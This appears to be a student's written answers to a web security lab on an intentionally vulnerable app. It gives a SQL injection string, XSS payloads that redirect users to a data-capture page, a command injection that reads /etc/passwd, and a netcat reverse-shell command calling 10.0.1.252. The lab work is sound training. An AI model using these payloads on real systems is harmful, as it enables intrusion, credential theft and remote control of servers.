1. SQL
   1. Explain the string you used for the SQL injection and explain why it works.

The string I used for username and password was 1’ OR ‘1’ = ‘1. With 1’ OR ‘1’ = ‘1, the SQL statement at the server becomes

*SELECT \* FROM accounts WHERE username= ‘1’ or ‘1’=’1’ AND password=’1’ or ‘1’=’1’*

As ‘1’=’1’ is always true, the above statement will just return all the values.

* 1. What is the table name used to display user details?

The table name used to display user details was *accounts*.

* 1. What are the fields in this table?

The fields in the *accounts* table include *Username*, *Password* and *Signature*.

1. XSS
   1. Explain which content you inserted in the second order attack, and how it works

The content I inserted in the second order attack is the following.

<SCRIPT>window.location="http://10.0.1.250/index.php?page=capture-data.php"</SCRIPT>

window.location calls for a redirection to a specific link and the link provided in the script is http://10.0.1.250/index.php?page=capture-data.php, the web page that records down desired information of the users who are accessing the website. In this way, we can redirect innocent users who are interested in blogging to the recording page and get their information.

* 1. Explain the flask script you wrote to create the POST request for the first-order attack

<html>

<form action="http://10.0.1.250/index.php?page=dns-lookup.php" method="post" >

<input type=hidden name='target\_host' value="<script src='capture-data.php'></script>"

</input>

<input type=hidden name='dns-lookup-php-submit-button' value="Lookup DNS" method="post">

</input>

<input type=submit name='Submit' value="Submit" method="get">

</input>

</form>

</html>

Firstly, the form has the address of http://10.0.1.250/index.php?page=dns-lookup.php, which is the original adress for the POST method for DNS lookup. Other than that, there are hidden objects like ‘target\_host’ and ‘dns-lookup-php-submit-button’. ‘target\_host’ sets the value to the phpsession ID. So when the user presses the button, attacker is able to forward the user to the legitimate page while redirecting him also to the data recording page so that uesr’s information can be collected by the attacker.

1. Injection
   1. Explain which command you used to obtain the content of “/etc/passwd”, and why it works

*&& cat /etc/passwd*

The server parses the text input from the user and concatenates to *nslookup* command*.* With &&, you can execute another command cat, which opens the file at /etc/passwd. So when the server executes nslookup && cat /etc/passwd, the server runs both commands and therefore the attacker is able to see the contents of /etc/passwd.

* 1. Explain which command you used to obtain the reverse shell, and why it works

**&& nc -e /bin/sh 10.0.1.252 8080**

With &&, the above script will execute the originally intended command and *nc*. Using nc we can connect to 10.0.1.252 at port 8080 from /bin/sh, which would allow the attacker to obtain the reverse shell and use it for his or her purposes. This script works because server parses the text field argument without any protection this kind of injection. After the victim’s PC makes a connection to the attacker’s IP, reverse shell is used to execute commands from the attackers.